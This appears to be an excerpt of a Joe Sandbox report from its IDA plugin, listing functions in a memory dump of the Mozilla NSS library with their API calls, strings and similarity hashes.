Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: ba243d836f0ed87a4fd21d255ccc5e095c2806682c5267139e75f1b1301e78d3
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: C33112717569303BEF0E50575F2EB9E144A4B6530FF485038F90AE5BC2F6C5961702EA

Function 6C7F0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C7F1000

Part of subcall function 6C7A9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6D1A48), ref: 6C7A9BB3
Part of subcall function 6C7A9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6D1A48), ref: 6C7A9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C7F1016

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

PR_Unlock.NSS3(?), ref: 6C7F1021

Part of subcall function 6C78DD70: TlsGetValue.KERNEL32 ref: 6C78DD8C
Part of subcall function 6C78DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C78DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C7F1046
PR_Unlock.NSS3(?), ref: 6C7F106B
PR_Lock.NSS3 ref: 6C7F1079
PR_Unlock.NSS3 ref: 6C7F1096
free.MOZGLUE(?), ref: 6C7F10A7
free.MOZGLUE(?), ref: 6C7F10B4
PR_DestroyCondVar.NSS3(?), ref: 6C7F10BF
PR_DestroyCondVar.NSS3(?), ref: 6C7F10CA
PR_DestroyCondVar.NSS3(?), ref: 6C7F10D5
PR_DestroyCondVar.NSS3(?), ref: 6C7F10E0
PR_DestroyLock.NSS3(?), ref: 6C7F10EB
free.MOZGLUE(?), ref: 6C7F1105

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 99c06eac624d6a975f57cac12780d487178e136aca1b8b0fccd807bc0724b0d5
Instruction ID: fe609d302b8f5175a83a8c5ea1c8e18976fc70a4ca916356f2ae5ee4f62fcc27
Opcode Fuzzy Hash: 99c06eac624d6a975f57cac12780d487178e136aca1b8b0fccd807bc0724b0d5
Instruction Fuzzy Hash: EA318BF5900401ABD711AF14EE8AA45B7B1BF1131DF184231E81902F61E732F979EBD6

Function 6C72EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C72EE0B

Part of subcall function 6C740BE0: malloc.MOZGLUE(6C738D2D,?,00000000,?), ref: 6C740BF8
Part of subcall function 6C740BE0: TlsGetValue.KERNEL32(6C738D2D,?,00000000,?), ref: 6C740C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72EEE1

Part of subcall function 6C721D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C721D7E
Part of subcall function 6C721D50: EnterCriticalSection.KERNEL32(?), ref: 6C721D8E
Part of subcall function 6C721D50: PR_Unlock.NSS3(?), ref: 6C721DD3

TlsGetValue.KERNEL32 ref: 6C72EE51
EnterCriticalSection.KERNEL32(?), ref: 6C72EE65
PR_Unlock.NSS3(?), ref: 6C72EEA2
free.MOZGLUE(?), ref: 6C72EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C72EED0
PR_Unlock.NSS3(?), ref: 6C72EF48
free.MOZGLUE(?), ref: 6C72EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C72EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C72EFA4
free.MOZGLUE(?), ref: 6C72EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C72F055
free.MOZGLUE(?), ref: 6C72F060

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 999b311dd8f6b0154919ba599a59465715056365241e66afbfa17049a12d4e4e
Instruction ID: 1c5527e96f28b5b92040899dab2da43fef6802b33041df8bede8dbdd2fb5cf5a
Opcode Fuzzy Hash: 999b311dd8f6b0154919ba599a59465715056365241e66afbfa17049a12d4e4e
Instruction Fuzzy Hash: 958171B1E00219ABEB10DFA5DD89ADE77B9BF08319F144034E909A3751E735E924CBE1

Function 6C6F4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C6F4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C6F4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C6F4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C6F4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C6F4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C6F4E85
DER_Encode_Util.NSS3(?,?,6C8405A4,00000000), ref: 6C6F4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C6F4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C6F4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6F4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C6F4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6F4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6F4FC8

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: a9ef1a4be5124bf3d99723e888c6f2b3be51822bece7b96166219216df556b5a
Instruction ID: fb12def91daba688ca05c7ac601fc624910024e0e3676d3e3c4a86dac8ee1a6c
Opcode Fuzzy Hash: a9ef1a4be5124bf3d99723e888c6f2b3be51822bece7b96166219216df556b5a
Instruction Fuzzy Hash: 8B81D2719093019FE701CF28DA44BABB7E5ABC4358F04852DF96CCBA41E770E906CB96

Function 6C728F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C729582), ref: 6C728F5B

Part of subcall function 6C73BE30: SECOID_FindOID_Util.NSS3(6C6F311B,00000000,?,6C6F311B,?), ref: 6C73BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C728F6A

Part of subcall function 6C740FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6E87ED,00000800,6C6DEF74,00000000), ref: 6C741000
Part of subcall function 6C740FF0: PR_NewLock.NSS3(?,00000800,6C6DEF74,00000000), ref: 6C741016
Part of subcall function 6C740FF0: PL_InitArenaPool.NSS3(00000000,security,6C6E87ED,00000008,?,00000800,6C6DEF74,00000000), ref: 6C74102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C728FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C728FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C80D820,6C729576), ref: 6C728FF9
DER_GetInteger_Util.NSS3(?), ref: 6C72901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C72903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C729062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C7290A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C7290CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C7290F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C72912D
free.MOZGLUE(00000000), ref: 6C729136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C729145

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 5410d70d9a140c98c66d7c4e0f2374a0eaf1da9df1bb6ba3160cf084642e6ef9
Instruction ID: e4ac82876ac1a9d57c32a993785b4f38e05b50438827b7b00587deb01b160ce2
Opcode Fuzzy Hash: 5410d70d9a140c98c66d7c4e0f2374a0eaf1da9df1bb6ba3160cf084642e6ef9
Instruction Fuzzy Hash: 8851F4B2A042009BE710CF29DD85B97B7E4EF94358F084939E958C7741E735E949CBD2

Function 6C7FC8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C7FC8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7FC8DA
malloc.MOZGLUE(00000001), ref: 6C7FC8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7FC8F8
PR_NewLock.NSS3 ref: 6C7FC909
PR_NewCondVar.NSS3(00000000), ref: 6C7FC918
PR_NewCondVar.NSS3(00000000), ref: 6C7FC92A

Part of subcall function 6C6D0F00: PR_GetPageSize.NSS3(6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F1B
Part of subcall function 6C6D0F00: PR_NewLogModule.NSS3(clock,6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F25

free.MOZGLUE(00000000), ref: 6C7FC947

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 41fffe4e10913f73a584cdc948757d332c00016a341f79f7da7888face7c6659
Instruction ID: 8cd0fc627c4c0a4ca862fcb330cf16cec97ba60f2536a757692e00189fbde3f3
Opcode Fuzzy Hash: 41fffe4e10913f73a584cdc948757d332c00016a341f79f7da7888face7c6659
Instruction Fuzzy Hash: B821E8F1A003165BEB30AFB99D4965B3AB8EF0125DF140935E86AC2B01EB31D515CBE6

Function 6C6DAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C6DAF47

Part of subcall function 6C7A9090: TlsGetValue.KERNEL32 ref: 6C7A90AB
Part of subcall function 6C7A9090: TlsGetValue.KERNEL32 ref: 6C7A90C9
Part of subcall function 6C7A9090: EnterCriticalSection.KERNEL32 ref: 6C7A90E5
Part of subcall function 6C7A9090: TlsGetValue.KERNEL32 ref: 6C7A9116
Part of subcall function 6C7A9090: LeaveCriticalSection.KERNEL32 ref: 6C7A913F

FreeLibrary.KERNEL32(?), ref: 6C6DAF6D
free.MOZGLUE(?), ref: 6C6DAFA4
free.MOZGLUE(?), ref: 6C6DAFAA
PR_ExitMonitor.NSS3 ref: 6C6DAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C6DAFF5
PR_ExitMonitor.NSS3 ref: 6C6DB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6DB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C6DB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6DB03C

Strings

Unloaded library %s, xrefs: 6C6DB023
%s decr => %d, xrefs: 6C6DAFF0

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 83cdb8e6fdad58e7ba1bd55621b9e8d6c871b890f0f2126963a70950afa14b0a
Instruction ID: b4358885e37ab6202f9d1fbbe90b9ff6437503451ad82564ee90fb4e6900a185
Opcode Fuzzy Hash: 83cdb8e6fdad58e7ba1bd55621b9e8d6c871b890f0f2126963a70950afa14b0a
Instruction Fuzzy Hash: 2C3139B5B09111ABDB10EF61EC48A46B7B5EB4531CB1A8275EC0587B02F332F824C7E6

Function 6C726C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C72781D,00000000,6C71BE2C,?,6C726B1D,?,?,?,?,00000000,00000000,6C72781D), ref: 6C726C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C72781D,?,6C71BE2C,?), ref: 6C726C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C72781D), ref: 6C726C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C726C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C726C96

Part of subcall function 6C6D1240: TlsGetValue.KERNEL32(00000040,?,6C6D116C,NSPR_LOG_MODULES), ref: 6C6D1267
Part of subcall function 6C6D1240: EnterCriticalSection.KERNEL32(?,?,?,6C6D116C,NSPR_LOG_MODULES), ref: 6C6D127C
Part of subcall function 6C6D1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6D116C,NSPR_LOG_MODULES), ref: 6C6D1291
Part of subcall function 6C6D1240: PR_Unlock.NSS3(?,?,?,?,6C6D116C,NSPR_LOG_MODULES), ref: 6C6D12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C726CAA

Strings

dbm:, xrefs: 6C726C3A
extern:, xrefs: 6C726C7E
rdb:, xrefs: 6C726C69
dbm, xrefs: 6C726CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6C726C91
sql:, xrefs: 6C726C52

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: cc8a1fdc82ab069744db2556d5704255baad9db7fb611dbc47f86e812b2c9403
Instruction ID: 137913e67cc23f4c84944d79668086e50b2f45248823b157e21158442e192662
Opcode Fuzzy Hash: cc8a1fdc82ab069744db2556d5704255baad9db7fb611dbc47f86e812b2c9403
Instruction Fuzzy Hash: 3301D4A170A31167E73036BA9E4DF12354C9F4225DF140932FE08E0AC2EA9AF65480E9

Function 6C734E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6F78F8), ref: 6C734E6D

Part of subcall function 6C6D09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6D06A2,00000000,?), ref: 6C6D09F8
Part of subcall function 6C6D09E0: malloc.MOZGLUE(0000001F), ref: 6C6D0A18
Part of subcall function 6C6D09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6D0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6F78F8), ref: 6C734ED9

Part of subcall function 6C725920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C727703,?,00000000,00000000), ref: 6C725942
Part of subcall function 6C725920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C727703), ref: 6C725954
Part of subcall function 6C725920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C72596A
Part of subcall function 6C725920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C725984
Part of subcall function 6C725920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C725999
Part of subcall function 6C725920: free.MOZGLUE(00000000), ref: 6C7259BA
Part of subcall function 6C725920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7259D3
Part of subcall function 6C725920: free.MOZGLUE(00000000), ref: 6C7259F5
Part of subcall function 6C725920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C725A0A
Part of subcall function 6C725920: free.MOZGLUE(00000000), ref: 6C725A2E
Part of subcall function 6C725920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C725A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C734EB3

Part of subcall function 6C734820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C734EB8,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C73484C
Part of subcall function 6C734820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C734EB8,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C73486D
Part of subcall function 6C734820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C734EB8,?), ref: 6C734884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C734EC0

Part of subcall function 6C734470: TlsGetValue.KERNEL32(00000000,?,6C6F7296,00000000), ref: 6C734487
Part of subcall function 6C734470: EnterCriticalSection.KERNEL32(?,?,?,6C6F7296,00000000), ref: 6C7344A0
Part of subcall function 6C734470: PR_Unlock.NSS3(?,?,?,?,6C6F7296,00000000), ref: 6C7344BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C734F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C734F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C734F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C734F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C734F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C734F8F
PK11_UpdateSlotAttribute.NSS3(?,6C80DCB0,00000000), ref: 6C734FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C73501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6F78F8), ref: 6C73506B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 60e1d10a78de40fd7138c2df8771f244f8ce5dad13e9566ea1a41231a8298ec1
Instruction ID: a8b603822f86e0ecbc719c1d099f9c8f49c7883de3132cd20ddbb8c1148771ff
Opcode Fuzzy Hash: 60e1d10a78de40fd7138c2df8771f244f8ce5dad13e9566ea1a41231a8298ec1
Instruction Fuzzy Hash: FC51E4B1A002119BDB11AF34EE09A9B3AB4FF0531CF185635EC0E96A12F736E515C6D2

Function 6C6DACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6DACE2
malloc.MOZGLUE(00000001), ref: 6C6DACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6DAD02
TlsGetValue.KERNEL32 ref: 6C6DAD3C
calloc.MOZGLUE(00000001,?), ref: 6C6DAD8C
PR_Unlock.NSS3 ref: 6C6DADC0
free.MOZGLUE(00000000), ref: 6C6DAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6DAE58
free.MOZGLUE(00000000), ref: 6C6DAE69
free.MOZGLUE(?), ref: 6C6DAE78
PR_Unlock.NSS3 ref: 6C6DAE8C
free.MOZGLUE(?), ref: 6C6DAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6DAEC7

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 40ea7423a8477e79f97c375c86a80eeef60e2bba469d0442c98a2604295e2ec9
Instruction ID: cd4867dcf1aa207bef99b22ad452c7ebc9c77c43ace9270edab5eb67a8591d3c
Opcode Fuzzy Hash: 40ea7423a8477e79f97c375c86a80eeef60e2bba469d0442c98a2604295e2ec9
Instruction Fuzzy Hash: 2751B0B0A052168BDF20EFA8D8456AE77B4BB0634DF164535D808A3B12D331FD15CBEA

Function 6C71ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C71ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C71AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C71AE29

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C71AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C71AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C71AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C71AEA0

Strings

C_MessageSignInit, xrefs: 6C71ADE1
(CK_INVALID_HANDLE), xrefs: 6C71AE1F, 6C71AE80
hKey = 0x%x, xrefs: 6C71AE62, 6C71AE72
hSession = 0x%x, xrefs: 6C71AE01, 6C71AE11

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
